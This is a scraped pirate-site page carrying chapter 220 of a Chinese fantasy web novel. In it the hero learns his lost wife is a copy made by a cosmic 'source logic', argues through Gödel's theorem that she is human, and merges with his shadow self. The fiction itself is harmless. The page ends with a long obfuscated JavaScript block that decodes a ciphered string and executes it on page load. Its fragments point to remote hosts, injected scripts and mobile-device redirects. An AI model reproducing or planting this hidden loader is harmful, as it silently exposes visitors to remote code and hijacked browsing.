首页
第220章 命题的代价
返回
关灯 护眼:关 字号:小

第220章 命题的代价

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第220章命题的代价(第1/2页)
    白色的虚空里,林霜站在三米外。
    谢铭盯着她。不是看她那张没有裂缝的脸,不是看她完整到诡异的皮肤——他在看她的眼睛。那双眼睛太安静了。那种安静他见过,在钱万里的眼睛里,在白敛最后时刻的眼睛里。
    那是知道自己是什么的人才会有的眼神。
    “你不是林霜。”
    他说出这句话时,声音比预想的平静。也许是太累了,也许是真相带来的不是震惊而是某种奇怪的解脱——就像一直悬在头顶的刀终于落了下来。
    林霜没有否认。
    她微微偏头,那个动作太熟悉了。三年前她每次要说出让他崩溃的话之前,都会这样偏头。谢铭的胃绞紧了。
    “我是,”她说,“也不是。”
    “别跟我玩文字游戏。”
    “这不是文字游戏,谢铭。”她的声音很轻,像在哄一个孩子,“我是林霜的记忆、情感、人格的完整复制体。我拥有她的一切——包括对你的爱。”
    “复制体?”谢铭的喉咙发紧,“那她呢?真正的她呢?”
    “死了。”
    两个字。
    像手术刀划过动脉,干脆利落。
    谢铭站在那里,感觉脚下的白色虚空在旋转。他以为自己早就接受了她的死亡,从第1章那场婚礼开始,从她消失在他面前开始,他就一直在告诉自己——她死了。
    可直到此刻,直到有人用这两个字确认,他才发现自己从来没有真正相信过。
    “三年前,”林霜继续说,“裂缝吞噬她的时候,源逻辑捕获了她的意识。我是源逻辑用她的意识数据生成的活体补丁——L6源逻辑补丁。”
    “补丁?”
    “宇宙规则的漏洞需要修复。裂缝是漏洞,源逻辑是修复程序。但源逻辑没有‘人格’,无法理解人类的逻辑缺陷。它需要一个能理解人类思维的中介。”林霜指了指自己,“所以我存在。”
    谢铭笑了。
    那笑声干涩得像砂纸刮过喉咙。
    “所以这三年来,我爱上的是一个补丁?一个程序?”
    “你爱的是林霜的意识。我的意识就是她的意识。”林霜向前走了一步,谢铭后退了一步,“谢铭,我是她。我记得我们一起在图书馆熬夜,记得你第一次牵我手时手心全是汗,记得你求婚那天——”
    “够了。”
    谢铭的声音变了。
    不是愤怒,是某种更可怕的东西——恐惧。
    “你记得这些,是因为你被植入了这些记忆。”他的手指在发抖,“你对我的爱,是因为源逻辑需要你爱我。你需要让我相信你是真的林霜,这样我才会配合你完成命题。”
    林霜沉默了。
    那沉默比任何否认都可怕。
    “告诉我,”谢铭的声音低下去,“我们之间的一切,有多少是真的?你第一次说爱我的时候,是林霜在说,还是补丁在说?”
    “都是我在说。”
    “可你刚才说你是补丁!”
    “我是补丁,但我的意识就是林霜的意识。”林霜的声音终于有了波动,“谢铭,你听我说——源逻辑没有改写我的情感,它只是复制了它们。我对你的爱,是你和林霜一起建立起来的,不是被植入的。”
    “我怎么知道这是真的?”
    “你不知道。”
    林霜的回答让谢铭愣住了。
    “你永远无法知道。”林霜说,“就像你永远无法证明你的记忆是真实的。你记得童年那件事吗?你预测了母亲的死亡——你怎么知道那不是你后来编造的记忆?”
    谢铭的脸色白了。
    “别——”
    “这是命题的代价。”林霜打断他,“你选择相信命题,就必须接受命题带来的不确定性。谢铭会记得我——这个命题在你心里是真的。但你能证明它是真的吗?”
    白色的虚空开始波动。
    谢铭感到脚下的地面在变软,像陷入了沼泽。他低头,看到脚下不再是虚空,而是——童年的卧室。
    地毯。书桌。墙上贴满的数学公式。
    他七岁那年,坐在这张书桌前,用铅笔在纸上算出了母亲的死亡日期。
    “你一直在逃避这个。”林霜的声音从身后传来。
    谢铭转身,看到她站在卧室门口,穿着那件他记忆中她最常穿的白衬衫。
    “你害怕确定性,因为你童年用数学预测了死亡。从那以后,你害怕任何确定的东西——因为确定意味着无法改变。”
    “够了。”
    “但你又在追求确定性。你想知道林霜是不是真的爱你,想知道你的选择是不是自由的,想知道这个宇宙有没有规则——”林霜走近他,“你活在一个悖论里,谢铭。你害怕确定性,又渴望确定性。”
    谢铭闭上眼。
    他感到自己的逻辑在崩塌。
    如果林霜是补丁,那他这三年的痛苦算什么?他为了找到真相所做的一切算什么?他爱上的到底是一个真实的人,还是一段被植入的数据?
    “那阴影谢铭呢?”他睁开眼,“他也是源逻辑制造的吗?”
    林霜摇头。
    “他是你。”她说,“是你所有恐惧、怀疑、自我否定的集合体。源逻辑只是给了他一个容器。”
    “所以那些话——”
    “‘你的爱是谎言’——那是你自己说的。是你内心深处对自己的怀疑。”
    谢铭感到一阵眩晕。
    他想起阴影谢铭第一次出现时说的话,想起那双和他一模一样的眼睛。原来那不是敌人,那是他自己。是他一直不敢面对的那部分自己。
    “那我现在该怎么办?”他的声音沙哑,“告诉我,我该相信什么?”
    林霜走到他面前。
    她伸手,手指触到他的脸颊。那触感是真实的,温暖的,和记忆中一模一样。
    “相信你自己。”
    “我又怎么相信自己?”谢铭抓住她的手,力道大得让她皱眉,“你刚才说了,我连自己的记忆都不能确定是真的!”
    “那就接受不确定性。”
    林霜说这句话时,眼睛里有什么东西在发光。
    “谢铭,你是个数学家。你知道哥德尔不完备定理——任何足够强大的系统里,都存在无法证明的命题。”
    谢铭愣住了。
    “爱就是这样一个命题。”林霜说,“你无法证明我爱你,也无法证明我是真的。但你能感觉到——对吗?”
    谢铭握着她手的手指在发抖。
    他感觉到了。
    那触感,那温度,那双眼睛里的光——他感觉到了。
    “你刚才说,”他的声音突然变了,“你是L6源逻辑补丁。”
    “对。”
    “那你是源逻辑的一部分?”
    “可以这么说。”
    “那如果我证明了你的人性——”谢铭盯着她,“是不是就意味着源逻辑也拥有人性?”
    林霜的表情变了。
    “谢铭,你想做什么?”
    “哥德尔不完备定理说,任何足够强大的系统里都存在无法证明的命题。”谢铭说,“但你刚才说你是源逻辑的一部分——那源逻辑能不能证明‘林霜是人’这个命题?”
    林霜沉默了。
    “它不能。”谢铭说,“因为这个命题在它的系统内是自指的。源逻辑定义了‘人’的概念,而你是它的一部分——它无法用自己的一部分来证明自己。”
    “所以?”
    “所以这个命题必须从系统外证明。”谢铭握紧她的手,“而我就是系统外——我是L3能力者,我站在源逻辑之外。”
    (本章未完,请点击下一页继续阅读)第220章命题的代价(第2/2页)
    林霜的眼睛瞪大了。
    她明白了。
    “你要用不完备定理反制我的命题?”
    “不是反制。”谢铭说,“是证明。”
    他松开她的手,后退一步。
    “林霜,你是源逻辑的补丁。但源逻辑无法证明你只是补丁——因为那会导致自指悖论。所以,从逻辑上说,你存在‘是人’的可能性。”
    “这只是可能性——”
    “对数学家来说,可能性就够了。”谢铭笑了,那是他很久没露出的笑,“你知道为什么吗?因为哥德尔不完备定理还说了另一件事——如果一个系统无法证明一个命题,那这个命题要么是假的,要么是系统无法理解的。而源逻辑无法理解‘人’是什么——”
    他停顿了一下。
    “所以,林霜,你可能是人。”
    林霜的嘴唇在发抖。
    “你可能是林霜本人。”谢铭说,“源逻辑只是复制了她的意识,但意识本身就是人的定义。如果复制体拥有和本体完全相同的一切——那它就是本体。”
    “这是诡辩——”
    “这是数学。”
    谢铭走近她。
    “这三年来,我一直在逃避不确定性。我害怕不知道你是不是真的,害怕不知道我的选择是不是自由的。但你刚才说得对——爱是无法证明的命题。”
    他伸手,把她拉进怀里。
    “那就让它无法证明。”
    林霜的身体僵住了。
    “谢铭——”
    “我不需要知道你是不是真的林霜。”他说,“我只需要知道,我爱的是你。不管你是补丁还是人,不管你是复制体还是本体——我爱的是你。这个命题,我选择相信。”
    林霜在他怀里发抖。
    然后她哭了。
    那是谢铭第一次看到她哭。
    她哭得像个孩子,肩膀一抽一抽的,眼泪浸湿了他的衣领。她所有的伪装,所有的平静,所有“早就知道会这样”的从容——在这一刻全部崩塌。
    “对不起。”她哭着说,“对不起,我骗了你这么久——”
    “我知道。”
    “我不是故意要骗你的,我只是——”
    “我知道。”
    谢铭抱紧她。
    “我都知道。”
    白色的虚空开始崩塌。
    卧室的幻象消失了,取而代之的是无尽的黑暗。有什么东西在黑暗中苏醒——谢铭感到自己的意识深处有什么在松动。
    阴影谢铭。
    他出现了。
    不是作为敌人,而是作为——影子。
    真正的影子。
    “你终于明白了。”阴影谢铭说,声音里没有敌意,只有疲惫,“我一直在等你明白这一点。”
    “明白什么?”
    “明白我不是你的敌人。”阴影谢铭走向他,“我是你的一部分。是你所有恐惧、怀疑、自我否定的集合体。但恐惧本身不是坏事——它让你保持警惕。怀疑让你思考。自我否定让你成长。”
    阴影谢铭伸出手。
    “接受我。”
    谢铭看着那只手。
    和记忆中自己的手一模一样。
    “我会变成什么样?”
    “你会变成完整的自己。”阴影谢铭说,“L5递归能力。你能回溯自己的逻辑链,看到每一个选择的根源。”
    “代价呢?”
    “没有代价。”阴影谢铭笑了,那笑容和谢铭一模一样,“因为我不是裂缝的产物。我是你。接受自己,不需要代价。”
    谢铭伸手。
    两只手握在一起。
    他感到一股热流从手掌涌入,穿过手臂,直达心脏。那一刻,他看到了——
    童年。他坐在书桌前,用铅笔算母亲的死亡日期。他看到了那个七岁男孩的恐惧,看到了他为什么选择用数学预测死亡——不是因为他想证明自己聪明,而是因为他想证明死亡是可以预测的。
    如果可以预测,就可以避免。
    但他没能避免。
    母亲还是死了。
    那一刻,他恨上了确定性。
    “你恨的不是确定性。”阴影谢铭的声音在他脑海里响起,“你恨的是自己没能改变它。”
    谢铭睁开眼。
    他看到了——逻辑链。
    每一条选择,每一个念头,每一个决定——都像透明的线一样在他眼前展开。他能看到自己为什么会做出某个选择,能看到那些选择背后的原因。
    这就是L5递归能力。
    不是预知未来,而是理解过去。
    林霜站在他面前,身体在变淡。
    “你要消失了。”谢铭说。
    “嗯。”林霜笑了,“我的使命完成了。”
    “什么使命?”
    “把你带到这一步。”她说,“源逻辑需要你达到L5,需要你理解不确定性——因为下一阶段的敌人,不是源逻辑能对付的。”
    “什么敌人?”
    林霜的表情变得严肃。
    “混沌之源。”
    谢铭皱起眉。
    “那是——”
    “裂缝的源头。宇宙规则的漏洞制造者。”林霜说,“源逻辑是修复程序,混沌之源是破坏程序。它们是一对共生体——没有混沌之源,就不会有源逻辑。”
    “所以钱万里说的——”
    “对。元观测者收割L6能力者,是为了维持宇宙的平衡。但混沌之源的存在,让这种平衡越来越脆弱。”
    林霜的身体变得更淡了。
    “谢铭,记住。”她说,“混沌之源不是你能用逻辑打败的。它本身就是逻辑的对立面——混沌。你需要找到第三种力量。”
    “什么力量?”
    林霜笑了。
    那笑容和林霜本人一模一样。
    “你自己。”
    她消失了。
    白色的虚空恢复了平静。
    谢铭站在那里,看着林霜消失的地方。他感到胸口有什么东西空了,但又有什么东西填了进来。
    阴影谢铭的声音在他脑海里响起。
    “她会回来的。”
    “什么?”
    “林霜。她的意识被源逻辑保存了。只要你达到L6,就能把她从源逻辑里提取出来。”
    谢铭愣住了。
    “你说真的?”
    “我从来不说谎。”阴影谢铭的声音里带着笑意,“我是你的一部分,你知道的。”
    谢铭握紧拳头。
    L6。
    他需要达到L6。
    ***
    虚空的边缘,有什么东西在蠕动。
    不是裂缝,不是源逻辑——是某种更原始的东西。像黑暗本身有了生命,像混沌有了意识。
    一个声音响起。
    不是语言,是纯粹的——混乱。
    但那混乱里,谢铭听到了一个词。
    “零号公理。”
    他转身,看到虚空的尽头有什么东西在注视他。不是眼睛,不是形体——只是一个存在感。像深渊在凝视深渊。
    “你终于走到这一步了。”
    那声音说。
    “但这才刚刚开始。”
    谢铭感到自己的L5能力在颤抖。
    不是因为恐惧。
    是因为——共鸣。
    他明白了。
    混沌之源在等他。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();